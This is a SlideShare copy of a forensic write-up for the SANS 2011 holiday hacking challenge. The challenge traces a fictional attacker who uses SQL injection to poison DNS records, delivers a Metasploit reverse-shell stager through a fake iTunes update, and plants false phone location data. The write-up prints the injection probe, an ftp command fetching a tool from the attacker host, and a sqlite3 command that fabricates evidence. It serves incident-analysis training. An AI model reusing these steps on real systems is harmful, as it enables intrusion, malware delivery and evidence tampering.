SlideShare ist ein Scribd-Unternehmen logo
1 von 14
Downloaden Sie, um offline zu lesen
SANS
                        Christmas Hacking Challenge 2011

                                Johnny Vestergaard
                                jkv@unixcluster.dk
                                   January 3, 2012


Contents
1 Overview                                                                                                                    2
  1.1 Significant events . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                       2
  1.2 Attack visualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                        2

2 Analysis                                                                                                                    3
  2.1 Hosts analysis . . . . . . . . . . . . . . . . .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    3
      2.1.1 IP 192.168.1.10 . . . . . . . . . . . .      .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    3
      2.1.2 IP 172.19.79.2 . . . . . . . . . . . . .     .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    3
      2.1.3 IP 172.19.89.6 . . . . . . . . . . . . .     .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    4
  2.2 Detailed analysis . . . . . . . . . . . . . . .    .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    5
      2.2.1 #1 - Email from Grandma to Mel .             .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    5
      2.2.2 #2 - Probing of web server . . . . .         .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    6
      2.2.3 #3 - SQL injection (DNS Poisoning)           .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .    7
      2.2.4 #4 - Infection of Rudolphs computer          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   10

3 Answers to challenge questions                                                                                             14




                                             1
1 Overview
1.1 Significant events
Table 1 provides a summarization of the most significant events identified and analyzed
on the following pages.

     Time Event
#




 1   13:51 Email from Grandma to Mel revealing a plot to frame Rudolph of her murder,
           mail has hidden content which reveals Grandma’s current location.
 2   13:51 Probing of Web server, attacker finds that the server is vulnerable to SQL
           injection (source 192.168.1.10)
 3   13:52 SQL injection on web server, injections of data which results in specific
           apple.com hosts resolving to 192.168.1.10. (DNS poisoning)
 4   13:57 Rudolph computer tries to update iTunes, but due to DNS poisoning is
           redirected to a service provided by the attacker which servers a piece of
           malware used by the attacker inject a set of coordinates (40.7715,-73.978833)
           into a backup of Rudolph’s cellular phone..

                               Table 1: Significant events

1.2 Attack visualization
Based on the analysis in section 2 the following visualization has been generated - this
visualization is pretty self explanatory and is included as an easy way to grasp how the
attack were orchestrated.


                        Mail with hidden content              Mail Server
                          (Grandma -> Mel)                    192.168.1.3




                                                      DNS poisoning(sql injection)
                                                                                                 DNS and
                           Get iTunesUpdate                                                     Web Server
                                                                                     Uses DNS   172.19.79.2
          Attacker
        192.168.1.10         Reverse shell
                                                                 Target
         (Grandma)                                            172.19.79.6
                           Get sqlite.exe (ftp)
                                                               (Rudolph)
                            Change iPhone
                             coordinates

                            Delete sqlite.exe


                             Figure 1: Attack visualization




                                                  2
2 Analysis
    An in-depth analysis of the most significant hosts and events found in the provided packet
    dump.

    2.1 Hosts analysis
    Form, identify and miscellaneous information on the most prominent hosts active in the
    packet dump, this provides a reference point for further analysis done in 2.2.

    2.1.1 IP 192.168.1.10
    Accordingly to headers extracted from email and http this host appears to be running a
    Linux i686 variant as OS, using Firefox as a browser (See snippet 1: line 2 and 3) and
    Alpine as email client. Furthermore it appears that the operator using 192.168.1.10 is do-
    ing so using a administrative account (root) and that the operator is know as “Grandma”
    (See snippet 2: line 2, 3, 4 and 5).

    Snippet 1 HTTP client headers from 192.168.1.0
1   GET / HTTP/1.1
2   Host: www.santaslist.northpole
3   User−Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1



    Snippet 2 Email headers from 192.168.1.10
1   Date: Sun, 25 Dec 2011 07:42:26 −0500 (EST)
2   From: Grandma <root@grandma.gma>
3   X−X−Sender: root@bt
4   To: cousinmel@mail.gma
5   Subject: Christmas
6   Message−ID: <alpine.DEB.2.02.1112250741440.7396@bt>
7   User−Agent: Alpine 2.02 (DEB 1266 2009−07−14)
8   MIME−Version: 1.0
9   Content−Type: MULTIPART/MIXED; BOUNDARY="0−471592043−1324816946=:7396"



    2.1.2 IP 172.19.79.2
    Web server serving www.santaslist.northpole, running Apache 2.2.15 on CentOS and
    using PHP 5.3.2. (See snippet 3).

    Snippet 3 HTTP headers from webserver www.santaslist.northpole
1   HTTP/1.1 200 OK
2   Date: Sun, 25 Dec 2011 12:52:58 GMT
3   Server: Apache/2.2.15 (CentOS)
4   X−Powered−By: PHP/5.3.2




                                                      3
2.1.3 IP 172.19.89.6
    Accordingly to headers(see snippet 4) extracted from HTTP requests this system is
    running Windows XP Professional SP3 and have an outdated version of iTunes installed
    (10.3.1), furthermore path-naming and username information were foud which indicates
    that the owner of this system is named Rudolph as shown in snippet 5.

    Snippet 4 HTTP header from 172.19.89.6
1   GET /bag.xml?ix=4 HTTP/1.1
2   User−Agent: iTunes/10.3.1 (Windows; Microsoft Windows XP Professional Service Pack 3 (Build 2600))
        AppleWebKit/533.21.1




    Snippet 5 Indications of identify on 172.19.89.6
1   C:Documents and SettingsRudolphApplication DataApple ComputerMobileSyncBackup
          e409a4c01ece2a9e6bf9267b169f3b15616b98cd>ftp −A 192.168.1.10
2   [...]
3   Anonymous login succeeded for Rudolph@RUDOLPH−PC




                                                     4
2.2 Detailed analysis
     This section will prove a detailed analysis of each significant event as listed in table 1 on
     page 2.

     2.2.1 #1 - Email from Grandma to Mel
     At 13:51 an email was sent from Grandma to Mel, this mail appears at first looks to
     contain only a mail message (snippet 6) and a MIME embedded work document (content
     shown in 7), however during forensic analysis of the word document a hidden messages
     from Grandma were detected in the comment property of the metadata affiliated with
     the word document as shown in snippet 8.

     Snippet 6 Text content of mail from Grandma to Rudolph
 1   Dear Mel,
 2
 3   Our plans are almost complete, and I am very excited. Soon, you and I
 4   shall be spending the rest of our days relaxing in the surf and sun!
 5   The plan is highly sensitive, a deep secret that only the two of us share.
 6   Never tell another soul about our clever scheme as long as you live.
 7   As we discussed, I recently made you the sole beneficiary of my life
 8   insurance policy. On Christmas Eve, I plan on faking my own death, which
 9   I will frame as murder on Rudolph, Santas obnoxious reindeer.
10
11   The details of my plan are included in the attached document below. Read
12   it carefully.
13
14   Merry Christmas!
15
16   Grandma




                                                         5
Snippet 7 Content of attached file in mail from Grandma to Mel
 1   Dear Mel,
 2
 3   Here are the details of my secret plan.
 4
 5   After the investigation turns up the evidence I plant, you provide eyewitness testimony in court, and
 6   Rudolph is convicted, you will receive the insurance payout. We can then use that money to fund our
 7   Caribbean retirement.
 8
 9   I am not sure I ever told you this, Mel, but as a child, my village was attacked by a ravenous band of
10   rampaging reindeer, instilling a life−long hatred in me for the flea−bitten beasts. Ill never forget
11   their horrible comments as they galloped through our village. Because of that chilling childhood
12   experience, Im going to fake my death and blame it all on Rudolph, the most well−known reindeer of all.
13   Hell rot away in jail forever.
14
15   Merry Christmas,
16
17   Grandma




     Snippet 8 Message hidden in file comment of attached file
 1   I will hide out at the Plaza Hotel near Central Park for several weeks, and meet you there in the lobby
 2   exactly one week after the trial concludes with a guilty verdict for Rudolph, precisely at noon local
 3   time. Make sure you bring the money in a suitcase full of cash. Ill be wearing one red shoe.




     2.2.2 #2 - Probing of web server
     Soon after issuing the mail previously mentioned, the attacker launched a series of probes
     on a web server (172.19.79.2). Initially the attacker issued a few HTTP probes, shown
     in snippet 9, the purpose of these probes is assessed to be information gathering and
     identification of vulnerabilities. The attacker successfully identified a SQL injection vul-
     nerability by injecting a single quote (hex value 27) as a value to the name parameter
     in the naughty list form, the server response suggesting this vulnerability is shown in
     snippet 10.




                                                          6
Snippet 9 Generic probing
       • GET / HTTP/1.1
        • POST /checklist.php HTTP/1.1
             – name=Grandma
             – name=Cousin+Mel
             – name=%27



    Snippet 10 SQL Injection probe
1   HTTP/1.1 200 OK
2   Date: Sun, 25 Dec 2011 12:53:28 GMT
3   Server: Apache/2.2.15 (CentOS)
4   <−− CUT −−>
5   <tr><th>Name</th><th>Status</th></tr>
6   You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
         for the right syntax to use near ’’’’’ at line 1</table>
7   </body></html>



    2.2.3 #3 - SQL injection (DNS Poisoning)
    The attacker starts out by injecting a few SELECT queries to identify the data and
    schema already stored in the database, the results are displayed enumerated in the
    naughty list as shown in figure 2 on the next page, after a few queries the attacker is able
    to reconstruct the relevant parts of the DNS database as shown in table 2a on page 9. The
    attacker then injects a single Start of Authority (SOA) record in the MYDNS.soa stat-
    ing that the origin apple.com is best resolved at ns1.santaslist.northpole, which in plain
    english states that ns1.santaslist.northpole is the best place to lookup *.apple.com host
    names. Lastly a series of apple.com hosts are injected into the Resource Record (RR)
    table stating that the specified hosts resolved to 192.168.1.10 - again in plain English
    this states that when a client lookups one of the injected hostsname they will resolve to
    192.168.1.10 - which is the IP of the attacker. A full overview of the SOA and RR tables
    after the attacker successfully has conducted his DNS poisoning is shown in table 2b on
    page 9.




                                                      7
Figure 2: HTML feedback after SQL injection of SELECT statement




                               8
Original soa Table




                                                                                                                                                 MINIMUM
                                                                                                            REFRESH



                                                                                                                                     EXPIRE
                   ORIGIN




                                                                                                  SERIAL



                                                                                                                          RETRY
                                                                                MBOX




                                                                                                                                                               TTL
                                                  NS
ID




                                                                                                                                  604800
                                                                                                            28800




                                                                                                                                                 86400

                                                                                                                                                               86400
                                                                                                                        7200
                                                                                                  25
1    santaslist.northpole            ns1.santaslist.northpole        root.santaslist.northpole


                                                   Original rr Table
         ID    ZONE                   NAME                  TYPE              DATA                AUX                 TTL

         1         1                     @                   NS      ns1.santaslist.northpole      0             86400
          2        1          ns1.santaslist.northpole       A              172.19.79.2             0             86400
          3        1         www.santaslist.northpole        A              172.19.79.2             0             86400

                                          (a) DNS tables before SQL injection
                                                         Modified soa Table




                                                                                                                                                     MINIMUM
                                                                                                                REFRESH



                                                                                                                                        EXPIRE
                   ORIGIN




                                                                                                     SERIAL



                                                                                                                             RETRY
                                                                                 MBOX




                                                                                                                                                                  TTL
                                                  NS
ID




                                                                                                                                        604800
                                                                                                                28800




                                                                                                                                                    86400

                                                                                                                                                                  86400
                                                                                                                             7200
                                                                                                     25
1    santaslist.northpole             ns1.santaslist.northpole        root.santaslist.northpole




                                                                                                                                        604800
                                                                                                                28800




                                                                                                                                                    86400

                                                                                                                                                                  86400
                                                                                                                             7200
2             apple.com              ns1.santaslist.northpole        root.santaslist.northpole
                                                                                                     1
                                                  Modified rr Table
     ID       ZONE                    NAME                   TYPE               DATA               AUX                    TTL

     1         1                         @                    NS       ns1.santaslist.northpole         0             86400
     2         1             ns1.santaslist.northpole            A           172.19.79.2                0             86400
     3         1            www.santaslist.northpole             A           172.19.79.2                0             86400
     4         2               itunes.apple.com                  A          192.168.1.10                              86400
     5         2            ax.init.itunes.apple.com             A          192.168.1.10                              86400
     6         2             swcatalog.apple.com                 A          192.168.1.10                              86400
     7         2               swcdn.apple.com                   A          192.168.1.10                              86400
     8         2               swscan.apple.com                  A          192.168.1.10                              86400
                                             (b) DNS tables after SQL injection

                       Table 2: DNS tables before and after malicious modification.




                                                              9
2.2.4 #4 - Infection of Rudolphs computer

The infection process
The target is infected through a malicious iTunes update, the attacker has made arrange-
ments as described in 2.2.3 to make specific apple.com hosts resolve to his own machine
(192.168.1.10) where he is hosting a malicious update service serving malware instead
of legit updates - it is likely that the attacker is using EvilGrade1 (or a similar tool) to
facilitate this. The requests from the target’s iTunes instance to the malicious update
service are shown in table 3. An analysis of the traffic has shown that the target is using
an old version of iTunes (10.3.1) which is vulnerable2 to this specific attack vector which
allows download and execution of unsigned updates.

                           Client request                                     Intended host
                   GET /bag.xml?ix=4                                     ax.init.itunes.apple.com
        GET /version?machineID=101a1a42c676ea68                              itunes.apple.com
  GET /content/catalogs/others/index-windows-1.sucatalog                  swcatalog.apple.com
 GET /content/downloads/14/21/[SNIP]/061-4339.English.dist                swcatalog.apple.com
                  GET /iTunesSetup.exe                                    swcatalog.apple.com

                                 Table 3: Update requests


The malware
After execution of the malware, the malware tries to connect back to the attacker on port
1225 using a standard TCP three way handshake - after the connection is established the
malware seemingly awaits stimulus before acting further, this stimulus was captured in
the provided PCAP show in figure 3 on the following page, when comparing this stim-
ulus with the shell.rb source code of Metasploit, as shown in figure 4 on the next page,
it can be concluded with little doubt that the malware is a legit binary3 wrapped with a
Metasploit reverse_tcp stager - and that the actual staging used by attacker is a shell.




 1
   http://www.infobytesec.com/down/isr-evilgrade-Readme.txt
 2
   Fixed in 10.5.1 http://support.apple.com/kb/HT5030?viewlocale=en_US
 3
   Apache Bench - found by static analysis of the binary.




                                             10
Figure 3: Malware stimulus (blue is attacker data, red is target data)




    Figure 4: Metaspoit source code (/modules/payloads/stages/windows/shell.rb)

  A test was conducted in an isolated environment using two hosts - a Windows XP SP3
running the malware (extracted from the PCAP) and Backtrack 5R2 running Meatas-



                                         11
ploit. As shown in figure 5 the test demonstrated that the malware actually works as
    described above.




                                    Figure 5: Injection of shell payload.


    Modification of coordinates on Rudolph’s computer.
    At this point the attacker has shell access to Rudolph’s computer where he downloads
    a copy of sqlite3.exe from his own machine. The attacker uses this tool to inject a set
    of coordinates into a backup of Rudolph’s phones cellular location database which is
    stored locally on Rudolph’s computer. The coordinates and timing injected matches the
    crime-scene4 , as shown in figure 6 on the following page, - which would lead a forensic
    investigator to the conclusion that Rudolph, or at least his phone, was at the crime-scene
    when the alleged crime occurred.


    Snippet 11 Command used to inject data
1   sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "insert into CellLocation values
          (310,410,11250,116541837,346471200.820172,40.7715,−73.978833,1414,0,−1,−1,−1,50)"



       The manipulated celluar location database is shown in snippet 12 on the next page(the
    injected data is shown on line 23).




     4
         Crime-scene coordinates was extracted from the photo of the crimescene - http://pen-testing.sans.
          org/images/challenges/holiday/evidence.jpg




                                                       12
Snippet 12 Location database after malicious modification
 1   310|410|11504|165415283|346413600.207493|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50
 2   310|410|11560|165415876|346417200.724667|−36.848461|174.763333|1414.0|0.0|−1.0|−1.0|−1.0|50
 3   310|410|11913|165415988|346424400.845503|−33.87365|151.206889|1414.0|0.0|−1.0|−1.0|−1.0|50
 4   310|410|11490|165415931|346431600.789114|35.689489|139.691706|1414.0|0.0|−1.0|−1.0|−1.0|50
 5   310|410|11486|165415119|346433400.698928|40.332808|116.47765|1414.0|0.0|−1.0|−1.0|−1.0|50
 6   310|410|11387|165415444|346435200.577698|39.904214|116.407414|1414.0|0.0|−1.0|−1.0|−1.0|50
 7   310|410|11647|165415648|346449600.307924|55.752505|37.623168|1414.0|0.0|−1.0|−1.0|−1.0|50
 8   310|410|11563|165415337|346458600.605536|52.523406|13.4114|1414.0|0.0|−1.0|−1.0|−1.0|50
 9   310|410|11293|165419827|346460400.123529|48.858362|2.294242|1414.0|0.0|−1.0|−1.0|−1.0|50
10   310|410|11245|165415050|346464000.957372|51.505624|−0.075383|1414.0|0.0|−1.0|−1.0|−1.0|50
11   310|410|11341|165413757|346471200.820172|−22.903539|−43.209587|1414.0|0.0|−1.0|−1.0|−1.0|50
12   310|410|11146|165413900|346478400.428421|18.467964|−66.108809|1414.0|0.0|−1.0|−1.0|−1.0|50
13   310|410|11150|165413038|346480200.261264|6.42375|−66.58973|1414.0|0.0|−1.0|−1.0|−1.0|50
14   310|410|11342|165415572|346482000.116289|40.748245|−73.985534|1414.0|0.0|−1.0|−1.0|−1.0|50
15   310|410|11880|165413161|346483440.664151|43.653226|−79.383184|1414.0|0.0|−1.0|−1.0|−1.0|50
16   310|410|11537|165415788|346484520.528258|40.440625|−79.995886|1414.0|0.0|−1.0|−1.0|−1.0|50
17   310|410|11363|165415476|346485600.313375|41.8789|−87.63584|1414.0|0.0|−1.0|−1.0|−1.0|50
18   310|410|11686|165413799|346489201.224764|39.739094|−104.984898|1414.0|0.0|−1.0|−1.0|−1.0|50
19   310|410|11998|165414519|346492800.167865|37.819751|−122.478168|1414.0|0.0|−1.0|−1.0|−1.0|50
20   310|410|11312|165413083|346496400.422522|61.190009|−149.870694|1414.0|0.0|−1.0|−1.0|−1.0|50
21   310|410|11409|165413229|346500000.268656|21.307237|−157.858055|1414.0|0.0|−1.0|−1.0|−1.0|50
22   310|410|11504|165415284|346503600.473327|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50
23   310|410|11250|116541837|346471200.820172|40.7715|−73.978833|1414.0|0.0|−1.0|−1.0|−1.0|50




       Figure 6: Plot of injected coordinate and crime-scene. (green arrow - same location)




                                                    13
3 Answers to challenge questions

According to the packet capture file, what was Grandma’s grand plan for
Christmas day?
Fake her own death and frame Rudolph of her disappearance.
Why did the geo-location information on Rudolph’s computer, synced from his cell
phone, show that Rudolph was in Central Park during the attack? Please describe
each technical step that lead to this "evidence" presented in court.
Grandma, the über hacker, hacked Rudolph’s computer and injected a set of coordinates
into a software backup of Rudolph’s cellular phone. The technical steps are described in
section 2.2.
Where should the authorities look for Grandma?
In Plaza Hotel near Central Park, see snippet 8 on page 6.
Based on the evidence in the packet capture file, who is guilty in this story?
Dear old Grandma is guilty of framing Rudolph of her disappearance and insurance fraud.




                                          14

Weitere ähnliche Inhalte

Andere mochten auch

Online and Mobile Media: Week 12 - Future of Journalism
Online and Mobile Media: Week 12 - Future of JournalismOnline and Mobile Media: Week 12 - Future of Journalism
Online and Mobile Media: Week 12 - Future of JournalismAngelicaAbano
 
March 22 2012 costvs value_final
March 22 2012 costvs value_finalMarch 22 2012 costvs value_final
March 22 2012 costvs value_finalRealtormag
 
Cost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesCost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesRealtormag
 
The Future of Internet Marketing
The Future of Internet MarketingThe Future of Internet Marketing
The Future of Internet MarketingHunter Willis
 
CinthiaVillarreal
CinthiaVillarrealCinthiaVillarreal
CinthiaVillarrealhome
 
Cost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesCost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesRealtormag
 
English grammer in use
English grammer in useEnglish grammer in use
English grammer in useannafeu
 

Andere mochten auch (9)

Online and Mobile Media: Week 12 - Future of Journalism
Online and Mobile Media: Week 12 - Future of JournalismOnline and Mobile Media: Week 12 - Future of Journalism
Online and Mobile Media: Week 12 - Future of Journalism
 
March 22 2012 costvs value_final
March 22 2012 costvs value_finalMarch 22 2012 costvs value_final
March 22 2012 costvs value_final
 
XSS Lightning talk
XSS Lightning talkXSS Lightning talk
XSS Lightning talk
 
1 st habit
1 st habit1 st habit
1 st habit
 
Cost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesCost vs. Value Webinar Slides
Cost vs. Value Webinar Slides
 
The Future of Internet Marketing
The Future of Internet MarketingThe Future of Internet Marketing
The Future of Internet Marketing
 
CinthiaVillarreal
CinthiaVillarrealCinthiaVillarreal
CinthiaVillarreal
 
Cost vs. Value Webinar Slides
Cost vs. Value Webinar SlidesCost vs. Value Webinar Slides
Cost vs. Value Webinar Slides
 
English grammer in use
English grammer in useEnglish grammer in use
English grammer in use
 

Ähnlich wie SANS xmas 2011 Hacking Submission

Leonardo Nve Egea - Playing in a Satellite Environment 1.2
Leonardo Nve Egea - Playing in a Satellite Environment 1.2Leonardo Nve Egea - Playing in a Satellite Environment 1.2
Leonardo Nve Egea - Playing in a Satellite Environment 1.2Jim Geovedi
 
Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Florin D. Tanasache
 
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...Ruo Ando
 
DNS server configuration in packet tracer
DNS server configuration in packet tracerDNS server configuration in packet tracer
DNS server configuration in packet tracerprodhan999
 
Dns server configuration
Dns server configurationDns server configuration
Dns server configurationGolam Sadeque
 
Penetration Testing is the Art of the Manipulation
Penetration Testing is the Art of the ManipulationPenetration Testing is the Art of the Manipulation
Penetration Testing is the Art of the ManipulationJongWon Kim
 
Advanced Persistent Threats: Reality or Myth
Advanced Persistent Threats: Reality or MythAdvanced Persistent Threats: Reality or Myth
Advanced Persistent Threats: Reality or MythRahul Mohandas
 
DNS Server configuration in cisco packet tracer
DNS Server configuration in cisco packet tracerDNS Server configuration in cisco packet tracer
DNS Server configuration in cisco packet tracerShovonKumar1
 
Configure Proxy and Firewall (Iptables)
Configure Proxy and Firewall (Iptables)Configure Proxy and Firewall (Iptables)
Configure Proxy and Firewall (Iptables)Tola LENG
 
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...Felipe Prado
 
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted Bottle
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted BottleVirus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted Bottle
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted BottlePeter Kálnai
 
Kalnai_Jirkal-vb-2016-malicious-osx-cocktail
Kalnai_Jirkal-vb-2016-malicious-osx-cocktailKalnai_Jirkal-vb-2016-malicious-osx-cocktail
Kalnai_Jirkal-vb-2016-malicious-osx-cocktailMartin Jirkal
 
QuickTutorial Guide Advanced Topics in IP Addressing
QuickTutorial Guide Advanced Topics in IP AddressingQuickTutorial Guide Advanced Topics in IP Addressing
QuickTutorial Guide Advanced Topics in IP AddressingS Khawaja
 

Ähnlich wie SANS xmas 2011 Hacking Submission (20)

DNS Cache Poisoning
DNS Cache PoisoningDNS Cache Poisoning
DNS Cache Poisoning
 
2.1 system concept
2.1 system concept2.1 system concept
2.1 system concept
 
Leonardo Nve Egea - Playing in a Satellite Environment 1.2
Leonardo Nve Egea - Playing in a Satellite Environment 1.2Leonardo Nve Egea - Playing in a Satellite Environment 1.2
Leonardo Nve Egea - Playing in a Satellite Environment 1.2
 
Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1
 
DNS Cache White Paper
DNS Cache White PaperDNS Cache White Paper
DNS Cache White Paper
 
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...
Grehack2013-RuoAndo-Unraveling large scale geographical distribution of vulne...
 
R bernardino hand_in_assignment_week_1
R bernardino hand_in_assignment_week_1R bernardino hand_in_assignment_week_1
R bernardino hand_in_assignment_week_1
 
DNS server configuration in packet tracer
DNS server configuration in packet tracerDNS server configuration in packet tracer
DNS server configuration in packet tracer
 
Dns server configuration
Dns server configurationDns server configuration
Dns server configuration
 
Penetration Testing is the Art of the Manipulation
Penetration Testing is the Art of the ManipulationPenetration Testing is the Art of the Manipulation
Penetration Testing is the Art of the Manipulation
 
Advanced Persistent Threats: Reality or Myth
Advanced Persistent Threats: Reality or MythAdvanced Persistent Threats: Reality or Myth
Advanced Persistent Threats: Reality or Myth
 
Ip Spoofing
Ip SpoofingIp Spoofing
Ip Spoofing
 
DNS Server configuration in cisco packet tracer
DNS Server configuration in cisco packet tracerDNS Server configuration in cisco packet tracer
DNS Server configuration in cisco packet tracer
 
business
businessbusiness
business
 
Configure Proxy and Firewall (Iptables)
Configure Proxy and Firewall (Iptables)Configure Proxy and Firewall (Iptables)
Configure Proxy and Firewall (Iptables)
 
Mysql Latency
Mysql LatencyMysql Latency
Mysql Latency
 
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
 
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted Bottle
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted BottleVirus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted Bottle
Virus Bulletin 2016: A Malicious OS X Cocktail Served from a Tainted Bottle
 
Kalnai_Jirkal-vb-2016-malicious-osx-cocktail
Kalnai_Jirkal-vb-2016-malicious-osx-cocktailKalnai_Jirkal-vb-2016-malicious-osx-cocktail
Kalnai_Jirkal-vb-2016-malicious-osx-cocktail
 
QuickTutorial Guide Advanced Topics in IP Addressing
QuickTutorial Guide Advanced Topics in IP AddressingQuickTutorial Guide Advanced Topics in IP Addressing
QuickTutorial Guide Advanced Topics in IP Addressing
 

Kürzlich hochgeladen

Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Mark Reed
 
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYKayeClaireEstoconing
 
Science 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptxScience 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptxMaryGraceBautista27
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...Postal Advocate Inc.
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Celine George
 
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxHumphrey A Beña
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parentsnavabharathschool99
 
Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Celine George
 
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)lakshayb543
 
Roles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceRoles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceSamikshaHamane
 
Full Stack Web Development Course for Beginners
Full Stack Web Development Course  for BeginnersFull Stack Web Development Course  for Beginners
Full Stack Web Development Course for BeginnersSabitha Banu
 
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptx
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptxECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptx
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptxiammrhaywood
 
Earth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatEarth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatYousafMalik24
 
What is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPWhat is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPCeline George
 
Gas measurement O2,Co2,& ph) 04/2024.pptx
Gas measurement O2,Co2,& ph) 04/2024.pptxGas measurement O2,Co2,& ph) 04/2024.pptx
Gas measurement O2,Co2,& ph) 04/2024.pptxDr.Ibrahim Hassaan
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptxmary850239
 
Proudly South Africa powerpoint Thorisha.pptx
Proudly South Africa powerpoint Thorisha.pptxProudly South Africa powerpoint Thorisha.pptx
Proudly South Africa powerpoint Thorisha.pptxthorishapillay1
 

Kürzlich hochgeladen (20)

Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)
 
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITYISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
ISYU TUNGKOL SA SEKSWLADIDA (ISSUE ABOUT SEXUALITY
 
Science 7 Quarter 4 Module 2: Natural Resources.pptx
